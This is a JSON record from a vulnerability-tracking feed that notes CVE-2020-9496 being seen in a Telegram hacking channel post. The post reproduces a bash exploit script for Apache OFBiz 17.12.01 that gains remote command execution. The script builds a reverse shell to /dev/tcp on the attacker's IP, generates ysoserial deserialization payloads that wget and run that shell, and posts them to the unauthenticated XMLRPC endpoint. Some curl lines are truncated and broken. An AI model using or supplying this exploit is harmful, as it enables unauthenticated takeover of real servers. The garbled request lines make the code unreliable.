{"uuid": "d66c4808-2d3f-4d52-acf1-151b24a633fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-9496", "type": "seen", "source": "https://t.me/hacking_Attack/18977", "content": "Exploit Collector\nApache OfBiz 17.12.01 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png Apache OfBiz version 17.12.01 exploit that achieves remote command execution via unsafe deserialization of XMLRPC arguments.\n\nMD5 | 07f89d52abae2b38026ae4fcd1039ddfDownload # Exploit Title: ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments\n# Date: 2021-08-04\n# Exploit Author: \u00c1lvaro Mu\u00f1oz, Adri\u00e1n D\u00edaz (s4dbrd)\n# Vendor Homepage: https://ofbiz.apache.org/index.html\n# Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip\n# Version: 17.12.01\n# Tested on: Linux\n\n# CVE : CVE-2020-9496\n\n# Reference: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/\n\n# Description: This CVE was discovered by Alvaro Mu\u00f1oz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE.\n\n#!/usr/bin/env bash\n\n# Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) are not using authentication they are vulnerable to unsafe deserialization. \n# This issue was reported to the security team by Alvaro Munoz pwntester@github.com from the GitHub Security Lab team.\n#\n# This vulnerability exists due to Java serialization issues when processing requests sent to /webtools/control/xmlrpc.\n# A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation would result in arbitrary code execution.\n#\n# Steps to exploit:\n# \n# Step 1: Host HTTP Service with python3 (sudo python3 -m http.server 80)\n# Step 2: Start nc listener (Recommended 8001).\n# Step 3: Run the exploit.\nurl='https://127.0.0.1' # CHANGE THIS\nport=8443 # CHANGE THIS\n\nfunction helpPanel(){\necho -e \"\\nUsage:\"\necho -e \"\\t[-i] Attacker's IP\"\necho -e \"\\t[-p] Attacker's Port\"\necho -e \"\\t[-h] Show help pannel\"\nexit 1\n}\nfunction ctrl_c(){\necho -e \"\\n\\n[!] Exiting...\\n\"\nexit 1\n}\n# Ctrl + C\ntrap ctrl_c INT\n\nfunction webRequest(){\necho -e \"\\n[*] Creating a shell file with bash\\n\"\necho -e \"#!/bin/bash\\n/bin/bash -i &gt;&amp; /dev/tcp/$ip/$ncport 0&gt;&amp;1\" &gt; shell.sh\necho -e \"[*] Downloading YsoSerial JAR File\\n\"\nwget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar\necho -e \"[*] Generating a JAR payload\\n\"\npayload=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 \"wget $ip/shell.sh -O /tmp/shell.sh\" | base64 | tr -d \"\\n\")\necho -e \"[*] Sending malicious shell to server...\\n\" &amp;&amp; sleep 0.5\ncurl -s $url:$port/webtools/control/xmlrpc -X POST -d \"/dev/null\necho -e \"[*] Generating a second JAR payload\"\npayload2=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 \"bash /tmp/shell.sh\" | base64 | tr -d \"\\n\")\necho -e \"\\n[*] Executing the payload in the server...\\n\" &amp;&amp; sleep 0.5\ncurl -s $url:$port/webtools/control/xmlrpc -X POST -d \"/dev/null\necho -e \"\\n[*]Deleting Files...\"\nrm ysoserial-master-d367e379d9-1.jar &amp;&amp; rm shell.sh\n}\n\ndeclare -i parameter_enable=0; while getopts \":i:p:h:\" arg; do\ncase $arg in\ni) ip=$OPTARG; let parameter_enable+=1;;\np) ncport=$OPTARG; let parameter_enable+=1;;\nh) helpPanel;;\nesac\ndone\n\nif [ $parameter_enable -ne 2 ]; then\nhelpPanel\nelse\nwebRequest\nfi Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:29.965934Z"}